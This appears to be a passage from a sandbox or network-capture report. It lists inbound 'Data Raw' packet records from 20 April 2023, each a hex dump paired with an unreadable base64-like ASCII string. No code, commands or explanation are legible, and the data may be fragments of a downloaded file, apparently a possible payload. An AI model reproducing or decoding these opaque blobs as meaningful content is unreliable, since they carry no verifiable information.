68 49 4e 78 66 57 66 30 33 6f 66 52 43 73 69 63 58 74 31 4e 66 75 53 6e 48 55 45 57 63 48 35 4c 35 51 4c 30 6a 46 4c 67 38 7a 70 49 6e 7a 6b 42 Data Ascii: 2T2oJAjeQHfMX67xRLU0OpB3+P86xUp01yza5EakNBy4ffFm1w24hiXOOR6jUsjCYZ59aNMssoU6vFIUslLu6muXFjmff8XzfI4OS+ULnJNQ0F47lXvs3BSTGkXvCIThO9FP8kvaKAS/UcaYX8FbUfIN7vtAsTARv1HGhk7OQFvxFpaHXbE6F71azeYtxkpT+R6Jll3MBRu9XSuhINxfWf03ofRCsicXt1NfuSnHUEWcH5L5QL0jFLg8zpInzkB
2023-04-20 23:03:01 UTC	2032	IN	Data Raw: 33 79 43 30 6e 67 30 43 59 30 37 6e 47 49 79 67 66 58 49 53 43 72 46 50 33 72 41 4c 36 6d 39 50 6c 67 36 4b 32 77 4b 61 48 51 75 75 57 4e 74 4b 37 77 36 65 2f 67 4c 68 66 54 47 51 5a 72 76 31 52 71 63 69 47 76 55 46 75 4c 38 45 30 57 45 32 67 6c 72 6b 36 45 4e 59 48 77 51 6f 58 4d 6e 56 52 72 6b 43 62 38 6f 76 75 35 38 4f 41 57 34 4b 75 31 39 4c 2f 31 2b 2f 70 6d 76 44 48 36 69 37 47 2f 39 42 4b 4d 6f 65 6f 39 35 2b 74 52 4e 4e 33 49 75 66 6e 7a 2f 62 54 7a 2b 66 57 71 50 65 62 37 49 4e 30 64 30 4d 6d 34 34 37 79 42 64 51 34 78 4c 43 70 52 4c 69 57 53 39 49 51 65 44 6a 56 71 63 6b 48 2f 41 48 68 6f 6b 61 35 55 49 2b 69 48 62 32 34 58 57 31 4d 73 5a 79 67 46 34 44 6a 4f 54 6e 74 67 58 2f 58 48 50 45 61 37 44 54 5a 72 67 32 66 35 5a 78 38 71 45 55 75 68 31 Data Ascii: 3yC0ng0CY07nGIygfXISCrFP3rAL6m9Plg6K2wKaHQuuWNtK7w6e/gLhfTGQZrv1RqciGvUFuL8E0WE2glrk6ENYHwQoXMnVRrkCb8ovu58OAW4Ku19L/1+/pmvDH6i7G/9BKMoeo95+tRNN3Iufnz/bTz+fWqPeb7IN0d0Mm447yBdQ4xLCpRLiWS9IQeDjVqckH/AHhoka5UI+iHb24XW1MsZygF4DjOTntgX/XHPEa7DTZrg2f5Zx8qEUuh1
2023-04-20 23:03:01 UTC	2048	IN	Data Raw: 4a 65 6c 41 73 54 37 30 58 58 33 78 45 34 56 49 53 36 63 4d 45 4c 46 39 31 4c 45 2b 39 46 31 58 39 78 4f 48 79 57 50 57 4d 78 4f 43 56 38 45 34 6d 47 7a 70 33 46 61 51 4a 6c 34 30 42 70 69 59 49 72 4e 4f 50 72 52 36 34 67 4b 59 74 51 5a 49 36 44 2f 33 6e 69 34 43 52 4b 77 66 30 32 46 66 2f 6d 32 6e 7a 47 2b 45 45 52 75 36 30 61 53 39 44 39 52 68 56 66 38 61 41 71 52 68 6a 78 71 41 31 46 6e 4c 55 4f 31 7a 69 34 63 77 2f 6d 77 67 6e 51 50 37 30 6b 2b 2b 42 46 4c 34 48 52 4c 54 47 50 35 73 49 4a 73 44 2b 2b 68 30 75 69 68 58 37 48 53 4d 71 68 76 2f 4e 79 2b 50 61 36 44 2f 58 59 73 30 58 2f 38 62 70 62 30 62 38 39 31 41 69 57 2f 2f 2f 6c 33 41 4c 62 34 59 2f 67 46 30 2f 78 36 4d 7a 4e 61 6b 48 68 4b 34 58 46 4b 51 61 50 78 4c 74 6f 34 61 6d 2b 56 75 6a 42 71 Data Ascii: JelAsT70XX3xE4VIS6cMELF91LE+9F1X9xOHyWPWMxOCV8E4mGzp3FaQJl40BpiYIrNOPrR64gKYtQZI6D/3ni4CRKwf02Ff/m2nzG+EERu60aS9D9RhVf8aAqRhjxqA1FnLUO1zi4cw/mwgnQP70k++BFL4HRLTGP5sIJsD++h0uihX7HSMqhv/Ny+Pa6D/XYs0X/8bpb0b891AiW///l3ALb4Y/gF0/x6MzNakHhK4XFKQaPxLto4am+VujBq
2023-04-20 23:03:01 UTC	2064	IN	Data Raw: 42 2b 64 7a 66 48 44 74 51 6d 54 46 4a 5a 4c 45 66 61 63 6c 41 62 52 4a 31 34 63 4e 35 65 68 4c 37 77 74 48 6f 48 6d 62 43 77 74 39 4e 4e 6c 47 39 78 50 46 73 78 50 33 46 79 65 45 55 2b 54 33 56 35 6b 68 56 2f 62 43 72 37 55 54 39 72 6b 50 68 48 54 31 39 56 4f 7a 4a 38 33 49 43 64 4c 31 55 62 58 35 48 73 63 6a 77 35 38 54 38 57 54 48 6e 56 58 46 38 59 6e 4f 49 32 66 42 49 62 56 74 61 4b 6c 79 48 4c 68 63 45 49 64 65 75 6b 49 53 7a 69 79 35 57 7a 44 36 61 6a 4b 76 57 73 6a 2b 58 70 41 36 61 73 45 66 6c 71 63 65 2b 55 5a 35 36 78 61 4f 6e 52 72 30 59 57 36 73 5a 67 73 4c 71 64 38 63 55 50 51 51 58 4d 31 49 34 32 51 6b 68 4c 69 50 39 6c 61 6a 43 50 5a 63 75 57 6f 77 76 71 4d 33 63 61 62 77 57 46 7a 38 77 50 47 6b 53 37 77 73 47 47 41 6e 79 6f 37 54 4e 36 48 Data Ascii: B+dzfHDtQmTFJZLEfaclAbRJ14cN5ehL7wtHoHmbCwt9NNlG9xPFsxP3FyeEU+T3V5khV/bCr7UT9rkPhHT19VOzJ83ICdL1UbX5Hscjw58T8WTHnVXF8YnOI2fBIbVtaKlyHLhcEIdeukISziy5WzD6ajKvWsj+XpA6asEflqce+UZ56xaOnRr0YW6sZgsLqd8cUPQQXM1I42QkhLiP9lajCPZcuWowvqM3cabwWFz8wPGkS7wsGGAnyo7TN6H
2023-04-20 23:03:01 UTC	2080	IN	Data Raw: 6b 6e 66 74 6b 52 66 35 62 48 62 52 47 59 6e 4e 77 66 55 65 47 62 31 5a 58 63 41 5a 2b 57 33 74 67 68 36 4c 79 57 32 4a 6b 6d 43 35 57 63 33 54 75 79 65 79 6e 41 6a 45 56 42 41 45 4c 38 50 45 59 49 53 58 48 63 51 6b 73 43 39 66 77 31 59 63 6e 46 37 41 77 58 4f 73 46 48 4c 53 6e 64 36 56 4d 74 4a 47 68 4e 39 43 30 74 4c 59 37 51 46 77 33 68 71 6f 6c 6a 66 43 62 67 61 69 52 6e 69 75 63 5a 49 43 7a 2b 72 32 47 79 75 4c 78 6f 43 38 48 66 64 44 5a 63 38 71 6b 65 64 72 69 78 2b 43 39 32 7a 2f 76 78 39 2f 45 6d 76 50 4b 78 64 47 6e 6e 76 68 39 58 4f 64 43 47 44 46 44 5a 32 64 6c 61 56 4f 4f 35 31 34 32 72 5a 2f 6e 51 6a 68 67 67 71 66 6b 52 48 66 54 51 6f 48 49 4e 6a 70 54 36 6f 45 46 4e 30 2f 71 67 6c 6b 37 48 6b 48 68 30 6e 62 37 75 33 45 50 48 33 62 50 70 4c Data Ascii: knftkRf5bHbRGYnNwfUeGb1ZXcAZ+W3tgh6LyW2JkmC5Wc3TuyeynAjEVBAEL8PEYISXHcQksC9fw1YcnF7AwXOsFHLSnd6VMtJGhN9C0tLY7QFw3hqoljfCbgaiRniucZICz+r2GyuLxoC8HfdDZc8qkedrix+C92z/vx9/EmvPKxdGnnvh9XOdCGDFDZ2dlaVOO5142rZ/nQjhggqfkRHfTQoHINjpT6oEFN0/qglk7HkHh0nb7u3EPH3bPpL
2023-04-20 23:03:01 UTC	2096	IN	Data Raw: 55 72 59 49 38 56 65 7a 4e 6a 75 30 56 4d 46 51 43 73 70 61 55 2f 63 58 34 59 78 65 6d 53 4d 54 74 7a 4f 34 6a 69 44 76 58 56 66 33 67 75 6a 71 55 37 41 67 45 4e 41 72 7a 5a 59 54 77 31 52 51 39 48 48 37 2b 58 61 66 4c 59 37 72 56 4d 53 41 4e 37 39 53 56 2f 51 55 67 4c 74 32 36 33 59 51 69 68 61 65 32 6e 62 41 62 67 61 79 54 74 71 6d 56 49 70 73 56 75 34 4b 66 4f 39 33 6d 51 32 43 77 6b 72 56 63 59 55 75 70 5a 4a 68 76 45 4d 4e 72 64 6d 79 31 58 37 37 45 48 72 61 4b 34 61 56 4c 39 59 52 43 61 31 4a 79 61 4e 37 73 77 65 43 49 6b 6f 73 59 4f 73 6b 76 50 68 53 74 71 31 4e 67 52 7a 34 67 69 4a 49 49 52 62 47 49 72 65 41 57 5a 73 68 4d 34 4a 6d 38 42 79 38 57 46 48 34 58 49 77 37 62 4d 77 43 71 47 77 78 2f 58 30 5a 72 31 7a 4d 2f 44 37 48 4c 58 33 6d 4c 4c 79 Data Ascii: UrYI8VezNju0VMFQCspaU/cX4YxemSMTtzO4jiDvXVf3gujqU7AgENArzZYTw1RQ9HH7+XafLY7rVMSAN79SV/QUgLt263YQihae2nbAbgayTtqmVIpsVu4KfO93mQ2CwkrVcYUupZJhvEMNrdmy1X77EHraK4aVL9YRCa1JyaN7sweCIkosYOskvPhStq1NgRz4giJIIRbGIreAWZshM4Jm8By8WFH4XIw7bMwCqGwx/X0Zr1zM/D7HLX3mLLy
2023-04-20 23:03:01 UTC	2112	IN	Data Raw: 54 4a 42 6b 42 38 65 74 47 36 6c 50 36 45 6b 6e 72 64 55 76 42 64 42 41 72 4e 58 61 6b 4c 6c 66 37 64 4b 4d 34 7a 34 4f 66 74 35 43 6e 4e 34 49 43 69 64 4f 72 47 59 49 7a 71 67 57 37 2f 45 61 63 48 70 4b 73 2f 4a 55 6a 38 35 46 71 76 58 51 59 51 66 6b 6e 37 72 58 79 35 56 72 69 73 6e 4e 50 45 76 6b 59 6a 5a 46 43 41 33 73 69 74 50 48 50 58 34 48 61 74 55 67 66 55 77 55 55 52 6f 65 2f 72 52 78 35 6c 35 42 6c 53 34 73 62 73 54 4f 65 71 35 68 2b 52 77 44 75 36 6f 45 37 6d 49 4b 32 72 63 76 31 31 38 67 67 2f 43 6c 68 33 65 4b 51 55 34 44 57 62 73 64 72 6a 30 55 75 58 74 70 6b 53 33 41 4f 54 65 64 47 77 67 7a 54 49 4c 64 50 35 6c 36 79 5a 4a 74 51 66 47 50 64 66 79 65 55 62 6f 67 47 6f 4f 65 30 79 35 59 4b 69 34 2b 69 47 71 39 58 68 32 79 63 4a 72 6d 4d 57 47 Data Ascii: TJBkB8etG6lP6EknrdUvBdBArNXakLlf7dKM4z4Oft5CnN4ICidOrGYIzqgW7/EacHpKs/JUj85FqvXQYQfkn7rXy5VrisnNPEvkYjZFCA3sitPHPX4HatUgfUwUURoe/rRx5l5BlS4sbsTOeq5h+RwDu6oE7mIK2rcv118gg/Clh3eKQU4DWbsdrj0UuXtpkS3AOTedGwgzTILdP5l6yZJtQfGPdfyeUbogGoOe0y5YKi4+iGq9Xh2ycJrmMWG
2023-04-20 23:03:01 UTC	2128	IN	Data Raw: 6e 7a 45 41 63 45 6d 64 4f 70 64 44 31 41 39 37 31 43 61 4d 6d 76 74 68 41 53 32 55 55 4c 57 52 65 44 42 75 41 6f 77 33 70 6d 48 6b 44 7a 41 58 42 63 67 39 59 37 48 6e 46 2b 4c 4e 73 4b 39 78 6c 46 7a 72 61 35 30 31 50 58 6e 63 35 56 6b 76 47 58 46 31 74 6c 30 44 79 30 4c 50 4d 6f 2f 4b 2f 57 39 41 77 74 52 55 42 44 72 48 2b 45 74 5a 49 46 64 53 53 35 32 6f 70 6b 63 6b 35 48 63 36 78 35 63 46 30 41 41 74 49 54 4c 64 44 75 49 6f 4f 49 78 34 69 63 76 47 77 58 41 53 53 4c 4d 4a 70 61 6b 39 67 37 31 2f 2f 64 39 41 7a 6d 6d 4f 6d 32 4e 65 32 4b 4e 50 4c 33 51 54 6e 44 63 74 56 48 6d 67 64 49 64 73 72 53 45 78 56 48 6b 37 44 2b 48 2b 63 61 50 4a 52 31 4d 49 77 6e 31 4a 51 30 76 65 6d 58 55 32 49 6d 62 48 48 78 75 6c 4e 65 46 75 62 75 39 34 56 58 33 61 6f 2f 39 Data Ascii: nzEAcEmdOpdD1A971CaMmvthAS2UULWReDBuAow3pmHkDzAXBcg9Y7HnF+LNsK9xlFzra501PXnc5VkvGXF1tl0Dy0LPMo/K/W9AwtRUBDrH+EtZIFdSS52opkck5Hc6x5cF0AAtITLdDuIoOIx4icvGwXASSLMJpak9g71//d9AzmmOm2Ne2KNPL3QTnDctVHmgdIdsrSExVHk7D+H+caPJR1MIwn1JQ0vemXU2ImbHHxulNeFubu94VX3ao/9
2023-04-20 23:03:01 UTC	2144	IN	Data Raw: 72 54 6d 68 34 55 79 37 4b 61 51 55 2b 7a 78 51 35 77 53 52 7a 58 53 6d 55 56 33 68 47 35 48 2f 51 62 73 31 43 50 73 65 6a 4e 4a 7a 67 43 64 52 2f 56 4c 50 49 5a 39 74 36 75 67 69 68 52 6c 4d 36 77 57 37 75 55 69 73 4f 45 72 6b 44 4a 69 73 44 4f 68 38 4f 4a 6d 44 46 78 65 33 72 44 68 32 31 7a 4c 6d 6d 62 43 32 41 4b 6a 69 44 4a 4f 66 64 70 49 47 64 69 6c 58 43 54 49 7a 67 50 4c 34 4f 39 57 4e 4a 6f 34 2f 52 4c 47 6a 49 34 30 38 33 34 67 6d 36 53 71 56 68 39 4a 4f 66 77 67 64 43 69 37 50 69 35 75 61 65 42 64 70 37 68 70 4a 41 64 45 54 63 79 45 72 44 6c 36 46 37 6a 4d 30 56 7a 78 6e 6f 47 45 64 4f 67 42 4b 63 77 6f 59 5a 76 68 4c 74 33 58 54 70 52 32 6e 4f 31 58 50 34 69 5a 73 45 6d 7a 48 6b 4c 59 69 75 58 65 79 31 39 61 59 56 6f 6f 57 67 73 7a 4c 65 33 53 Data Ascii: rTmh4Uy7KaQU+zxQ5wSRzXSmUV3hG5H/Qbs1CPsejNJzgCdR/VLPIZ9t6ugihRlM6wW7uUisOErkDJisDOh8OJmDFxe3rDh21zLmmbC2AKjiDJOfdpIGdilXCTIzgPL4O9WNJo4/RLGjI40834gm6SqVh9JOfwgdCi7Pi5uaeBdp7hpJAdETcyErDl6F7jM0VzxnoGEdOgBKcwoYZvhLt3XTpR2nO1XP4iZsEmzHkLYiuXey19aYVooWgszLe3S
2023-04-20 23:03:01 UTC	2176	IN	Data Raw: 52 4c 6f 31 45 73 35 33 39 62 38 4f 37 57 4e 4c 2f 53 37 47 77 57 6d 63 44 77 57 50 47 35 58 6b 54 50 30 34 43 36 46 4e 33 70 6c 76 33 52 31 4c 36 31 71 52 39 31 79 32 4a 69 6d 6b 58 4f 61 4b 49 4d 46 62 54 4d 6c 64 78 66 56 59 72 7a 30 49 75 46 65 51 6a 44 76 59 54 56 58 73 50 73 6b 41 76 45 62 4d 35 6c 69 69 4c 47 47 53 64 2b 58 2f 58 71 30 4b 44 4b 41 4b 6c 61 51 61 34 33 73 76 6b 54 69 67 2f 6b 6d 73 50 54 75 73 66 2b 33 49 62 35 45 5a 53 39 78 45 6a 5a 73 39 79 46 73 78 6a 58 2f 63 6c 48 65 62 48 6c 33 33 4f 5a 4c 2b 58 72 71 2f 79 32 75 50 47 70 46 67 6f 54 47 37 47 2f 2f 66 61 38 73 76 44 35 73 76 7a 6b 74 72 7a 6a 76 2f 75 78 76 2f 61 32 76 4c 4c 37 76 62 65 35 31 2f 57 73 77 65 6a 4e 6c 2b 67 41 67 65 69 56 72 47 73 67 2f 78 66 6d 32 78 43 49 72 Data Ascii: RLo1Es539b8O7WNL/S7GwWmcDwWPG5XkTP04C6FN3plv3R1L61qR91y2JimkXOaKIMFbTMldxfVYrz0IuFeQjDvYTVXsPskAvEbM5liiLGGSd+X/Xq0KDKAKlaQa43svkTig/kmsPTusf+3Ib5EZS9xEjZs9yFsxjX/clHebHl33OZL+Xrq/y2uPGpFgoTG7G//fa8svD5svzktrzjv/uxv/a2vLL7vbe51/WswejNl+gAgeiVrGsg/xfm2xCIr
2023-04-20 23:03:01 UTC	2192	IN	Data Raw: 58 37 49 4d 47 48 59 4b 42 7a 56 78 75 38 4f 70 4a 76 6d 63 37 43 2f 6b 39 41 6c 67 56 78 4d 37 37 64 30 75 30 56 49 69 54 51 30 32 38 78 37 58 7a 66 62 2f 49 66 77 75 4e 46 6c 55 47 52 54 4f 66 48 77 70 56 33 76 53 4b 44 31 42 59 52 41 69 50 2b 4b 31 46 4a 4c 55 7a 34 6e 7a 66 31 45 42 5a 79 72 55 2b 6b 71 77 45 50 76 6d 66 71 6d 42 30 54 6f 64 71 58 52 47 69 34 33 38 78 48 5a 31 76 70 35 48 33 53 4a 6c 45 32 50 76 70 35 30 47 4f 77 38 64 44 39 30 44 52 45 4d 78 4a 44 35 47 6c 4a 47 47 59 4a 4b 36 51 47 44 66 44 47 4d 53 53 71 65 41 70 45 2f 72 44 49 58 2b 7a 48 70 68 34 63 48 42 73 4d 6a 77 46 37 52 54 73 52 55 65 47 68 57 49 72 50 58 64 74 75 78 36 78 75 65 79 78 78 48 30 6d 75 70 4d 4a 73 7a 2b 4a 76 30 37 44 79 4e 32 4e 72 6d 36 31 4b 66 56 33 59 45 Data Ascii: X7IMGHYKBzVxu8OpJvmc7C/k9AlgVxM77d0u0VIiTQ028x7Xzfb/IfwuNFlUGRTOfHwpV3vSKD1BYRAiP+K1FJLUz4nzf1EBZyrU+kqwEPvmfqmB0TodqXRGi438xHZ1vp5H3SJlE2Pvp50GOw8dD90DREMxJD5GlJGGYJK6QGDfDGMSSqeApE/rDIX+zHph4cHBsMjwF7RTsRUeGhWIrPXdtux6xueyxxH0mupMJsz+Jv07DyN2Nrm61KfV3YE
2023-04-20 23:03:01 UTC	2208	IN	Data Raw: 2b 65 33 5a 71 67 70 36 70 50 70 59 43 41 55 4d 2f 52 2f 68 36 45 68 30 42 42 38 68 6c 47 47 4f 72 2f 45 72 6c 53 48 35 67 43 6e 53 34 4f 4a 47 54 55 75 62 79 47 30 7a 33 43 4c 4a 39 4b 4a 50 49 54 34 49 38 37 5a 6b 75 79 46 35 30 7a 42 2b 4f 66 6f 7a 69 6a 6a 61 7a 74 66 7a 31 59 65 62 78 56 56 74 62 59 46 42 72 6d 61 30 52 43 39 41 44 36 70 67 4e 72 34 46 79 34 55 4f 77 51 4e 65 70 67 35 63 66 61 38 50 57 66 78 4f 4e 4d 76 5a 55 56 48 78 73 69 52 61 54 58 6a 33 65 57 71 45 39 4f 47 48 6d 44 46 42 50 33 36 4d 70 70 50 44 66 44 71 72 51 55 51 33 79 65 42 36 55 77 30 2f 55 64 59 55 61 4a 55 58 51 38 31 57 70 31 47 69 6d 70 42 78 46 45 73 65 78 37 54 59 33 50 52 30 6c 6e 4d 64 58 61 76 65 74 52 75 69 68 38 6d 64 61 52 6a 2f 50 4e 36 61 38 56 65 44 6d 57 4a Data Ascii: +e3Zqgp6pPpYCAUM/R/h6Eh0BB8hlGGOr/ErlSH5gCnS4OJGTUubyG0z3CLJ9KJPIT4I87ZkuyF50zB+Ofozijjaztfz1YebxVVtbYFBrma0RC9AD6pgNr4Fy4UOwQNepg5cfa8PWfxONMvZUVHxsiRaTXj3eWqE9OGHmDFBP36MppPDfDqrQUQ3yeB6Uw0/UdYUaJUXQ81Wp1GimpBxFEsex7TY3PR0lnMdXavetRuih8mdaRj/PN6a8VeDmWJ
2023-04-20 23:03:01 UTC	2224	IN	Data Raw: 77 5a 51 6d 4f 6d 62 38 2f 7a 68 4c 64 67 4a 5a 45 46 66 65 53 31 39 39 2f 49 2b 35 74 56 30 77 68 75 41 46 47 49 43 47 70 6e 48 59 55 67 4b 53 6f 4e 66 43 70 54 74 50 58 4c 66 64 70 78 55 35 54 77 44 62 64 53 44 39 71 4b 37 69 41 4f 6e 6e 4b 65 4a 69 54 76 6c 46 37 42 36 33 31 4d 32 35 72 47 49 6f 75 74 4c 4f 46 77 79 78 6d 6d 75 70 51 48 7a 58 51 36 55 4d 65 53 47 4e 55 61 38 36 37 6e 48 55 54 44 39 79 74 63 31 50 30 4a 37 42 49 36 47 2b 4f 51 6c 48 4a 69 71 61 6b 72 63 74 56 74 44 51 44 31 61 49 54 41 49 71 65 42 44 74 79 4e 32 6c 72 52 62 71 50 61 34 7a 5a 35 57 41 51 65 34 55 36 36 4f 61 41 33 76 54 32 48 4c 56 76 6e 5a 52 78 43 4c 39 34 66 2f 4a 50 6d 72 75 74 2b 71 6e 41 61 55 4e 63 44 70 6c 4f 68 57 41 68 48 2f 61 35 56 71 41 48 74 49 49 7a 74 55 Data Ascii: wZQmOmb8/zhLdgJZEFfeS199/I+5tV0whuAFGICGpnHYUgKSoNfCpTtPXLfdpxU5TwDbdSD9qK7iAOnnKeJiTvlF7B631M25rGIoutLOFwyxmmupQHzXQ6UMeSGNUa867nHUTD9ytc1P0J7BI6G+OQlHJiqakrctVtDQD1aITAIqeBDtyN2lrRbqPa4zZ5WAQe4U66OaA3vT2HLVvnZRxCL94f/JPmrut+qnAaUNcDplOhWAhH/a5VqAHtIIztU
2023-04-20 23:03:01 UTC	2240	IN	Data Raw: 52 32 30 64 74 33 41 45 67 33 70 48 38 4d 71 61 70 45 4d 72 44 78 4d 64 37 2f 49 73 61 74 68 6d 65 6f 6b 6d 6f 57 41 31 6f 4a 65 47 2f 39 47 56 31 4b 39 45 2b 61 2f 6d 66 37 4f 39 51 47 73 34 37 31 32 32 2f 6b 47 33 6e 6a 53 4b 78 61 51 46 38 50 39 35 49 43 62 6d 2f 52 7a 71 65 4b 33 6d 6a 51 64 33 4b 77 55 51 35 4f 70 71 49 78 49 35 79 37 31 6b 74 42 37 47 6d 4b 54 36 33 5a 35 78 4f 4a 37 72 36 34 79 5a 57 38 68 79 61 59 6c 70 48 5a 64 32 79 32 6c 71 73 57 68 46 76 53 64 41 30 47 67 7a 45 51 2b 62 6d 4e 74 37 63 77 76 46 76 34 38 75 6d 6b 65 32 45 57 72 41 31 38 6b 51 57 42 4a 35 53 37 48 51 52 59 6e 68 6e 48 70 73 57 32 35 58 79 45 59 43 32 4e 6c 5a 4c 6c 71 39 7a 4b 57 64 36 6a 33 38 4b 74 75 31 50 53 77 43 56 4d 30 31 7a 39 44 53 49 31 42 4b 71 33 69 Data Ascii: R20dt3AEg3pH8MqapEMrDxMd7/IsathmeokmoWA1oJeG/9GV1K9E+a/mf7O9QGs47122/kG3njSKxaQF8P95ICbm/RzqeK3mjQd3KwUQ5OpqIxI5y71ktB7GmKT63Z5xOJ7r64yZW8hyaYlpHZd2y2lqsWhFvSdA0GgzEQ+bmNt7cwvFv48umke2EWrA18kQWBJ5S7HQRYnhnHpsW25XyEYC2NlZLlq9zKWd6j38Ktu1PSwCVM01z9DSI1BKq3i
2023-04-20 23:03:01 UTC	2256	IN	Data Raw: 72 39 76 65 71 4c 49 78 58 41 46 34 49 4e 41 4a 76 6e 55 49 4f 4d 41 4a 44 6a 53 31 5a 35 37 66 67 4a 51 70 56 58 77 7a 78 4b 79 39 41 2b 36 4b 79 37 6c 66 4a 37 4a 57 42 30 6e 61 6d 76 2f 35 50 72 48 6d 50 45 49 47 52 71 53 58 79 69 4e 77 47 6c 78 75 78 61 2f 54 75 6c 6b 78 4b 4d 79 45 36 61 41 4b 4e 35 4e 37 50 33 74 37 65 32 6b 70 64 38 76 54 6b 58 46 7a 6e 54 77 38 4b 4b 77 6d 46 39 66 34 72 5a 56 48 41 77 45 62 66 4f 36 42 42 36 35 2f 72 62 76 4a 6c 76 70 61 77 6a 70 67 46 73 47 54 58 45 49 6d 4b 69 49 63 32 63 6d 58 48 72 33 6b 78 55 72 50 65 57 2f 57 6b 76 4d 64 42 46 4a 54 42 44 62 4b 53 76 32 78 57 54 32 45 66 43 77 62 6f 49 52 58 6f 69 67 59 2b 37 46 78 76 6f 34 5a 6f 2b 33 45 43 32 4e 7a 69 7a 33 71 77 33 49 56 63 36 77 56 66 75 73 58 47 4d 4c Data Ascii: r9veqLIxXAF4INAJvnUIOMAJDjS1Z57fgJQpVXwzxKy9A+6Ky7lfJ7JWB0namv/5PrHmPEIGRqSXyiNwGlxuxa/TulkxKMyE6aAKN5N7P3t7e2kpd8vTkXFznTw8KKwmF9f4rZVHAwEbfO6BB65/rbvJlvpawjpgFsGTXEImKiIc2cmXHr3kxUrPeW/WkvMdBFJTBDbKSv2xWT2EfCwboIRXoigY+7Fxvo4Zo+3EC2Nziz3qw3IVc6wVfusXGML
2023-04-20 23:03:01 UTC	2272	IN	Data Raw: 4f 6f 6e 64 47 66 36 6f 62 39 67 52 31 54 6a 62 6c 4e 7a 38 45 39 51 55 79 59 59 54 78 54 4d 33 4c 70 47 78 44 33 30 6b 50 67 53 78 69 4c 76 46 63 4b 4e 58 48 30 46 76 39 79 6d 42 61 67 4d 59 6c 53 79 4b 50 31 52 43 67 39 4a 39 64 39 50 66 67 2b 4a 61 36 47 31 4a 77 7a 79 35 32 4f 63 6f 68 30 38 6b 5a 6e 4d 73 33 5a 67 4a 45 4b 59 58 34 37 38 53 77 53 4c 4c 62 6a 6e 6f 38 6c 61 70 5a 48 79 4f 77 4a 72 74 30 49 4b 59 63 78 63 57 52 72 31 78 4b 4e 69 75 77 6e 69 70 77 52 2b 75 62 4d 77 52 45 32 4c 76 48 4b 39 77 73 41 49 47 49 6c 69 45 52 5a 75 56 59 47 48 61 77 57 39 5a 52 33 6d 76 67 6d 33 6f 66 2b 4f 50 36 4b 41 44 73 30 43 77 62 70 69 69 48 62 36 42 72 55 58 4f 79 76 6c 4e 4b 6c 5a 55 30 54 2f 48 53 35 54 73 58 67 48 69 35 45 2b 30 74 36 4e 59 65 56 59 Data Ascii: OondGf6ob9gR1TjblNz8E9QUyYYTxTM3LpGxD30kPgSxiLvFcKNXH0Fv9ymBagMYlSyKP1RCg9J9d9Pfg+Ja6G1Jwzy52Ocoh08kZnMs3ZgJEKYX478SwSLLbjno8lapZHyOwJrt0IKYcxcWRr1xKNiuwnipwR+ubMwRE2LvHK9wsAIGIliERZuVYGHawW9ZR3mvgm3of+OP6KADs0CwbpiiHb6BrUXOyvlNKlZU0T/HS5TsXgHi5E+0t6NYeVY
2023-04-20 23:03:01 UTC	2288	IN	Data Raw: 4a 45 34 48 58 63 53 70 6f 53 6b 77 44 41 74 52 35 78 49 4f 4b 6b 2f 69 77 78 4b 58 32 56 34 51 63 6b 65 5a 4a 41 35 42 4e 37 4c 78 34 2b 2f 4a 46 43 30 78 68 74 76 61 4c 58 73 45 30 72 57 74 62 4f 7a 47 51 51 6f 59 4e 32 39 2b 4e 52 61 46 4b 59 78 71 64 48 34 57 56 4b 34 43 6d 42 4f 4a 42 76 6b 4d 2b 45 45 31 52 56 70 6c 5a 42 35 43 4d 30 4c 4f 35 52 75 31 6d 64 79 70 6c 6e 66 62 4d 44 61 37 76 30 47 67 48 56 70 61 77 43 59 48 43 69 57 31 55 4f 4e 4c 6c 2f 6e 37 42 58 4b 39 70 50 7a 6b 35 57 4c 57 36 4f 6b 36 67 72 71 58 77 75 56 4a 51 4d 78 49 47 4e 6c 56 42 38 67 59 75 7a 32 49 78 39 57 33 79 49 55 54 65 31 6d 53 70 7a 55 43 34 33 53 66 72 75 6c 57 50 4a 37 6b 49 74 48 70 31 4e 57 41 56 67 77 79 62 48 2b 72 6f 35 6b 65 55 56 4b 45 37 71 44 4e 65 52 59 Data Ascii: JE4HXcSpoSkwDAtR5xIOKk/iwxKX2V4QckeZJA5BN7Lx4+/JFC0xhtvaLXsE0rWtbOzGQQoYN29+NRaFKYxqdH4WVK4CmBOJBvkM+EE1RVplZB5CM0LO5Ru1mdyplnfbMDa7v0GgHVpawCYHCiW1UONLl/n7BXK9pPzk5WLW6Ok6grqXwuVJQMxIGNlVB8gYuz2Ix9W3yIUTe1mSpzUC43SfrulWPJ7kItHp1NWAVgwybH+ro5keUVKE7qDNeRY
2023-04-20 23:03:01 UTC	2320	IN	Data Raw: 36 52 57 6f 48 49 78 56 4d 31 78 38 6c 42 44 65 76 7a 48 66 52 54 53 50 6e 47 75 71 46 7a 4d 58 62 66 68 31 51 6f 54 6e 34 43 76 6d 54 6a 57 65 52 64 6c 47 4e 53 55 33 34 75 62 43 38 36 76 33 52 69 66 47 44 4a 43 70 49 2f 6d 62 54 76 61 62 45 68 4b 57 4e 4c 56 36 66 75 67 62 77 79 66 79 34 53 7a 43 63 34 67 57 6b 59 55 7a 77 63 6c 51 65 67 50 71 6e 36 69 51 6b 57 6d 77 70 44 48 64 6a 52 34 4e 4c 6a 38 71 35 32 63 46 66 36 31 6b 4f 61 63 47 68 56 36 34 6f 54 66 4a 32 64 4a 76 42 77 55 4d 66 38 51 71 39 56 30 5a 35 67 4e 4b 47 54 53 79 68 41 51 72 55 63 46 50 58 74 72 5a 45 57 6e 71 6b 30 46 42 30 55 35 5a 35 2b 69 32 4c 49 6a 43 56 37 46 65 56 53 4c 35 30 69 6e 46 56 69 32 4b 49 57 77 73 49 55 31 4b 53 4f 73 68 4d 4a 6c 39 32 63 39 78 6f 34 6d 67 44 61 67 Data Ascii: 6RWoHIxVM1x8lBDevzHfRTSPnGuqFzMXbfh1QoTn4CvmTjWeRdlGNSU34ubC86v3RifGDJCpI/mbTvabEhKWNLV6fugbwyfy4SzCc4gWkYUzwclQegPqn6iQkWmwpDHdjR4NLj8q52cFf61kOacGhV64oTfJ2dJvBwUMf8Qq9V0Z5gNKGTSyhAQrUcFPXtrZEWnqk0FB0U5Z5+i2LIjCV7FeVSL50inFVi2KIWwsIU1KSOshMJl92c9xo4mgDag
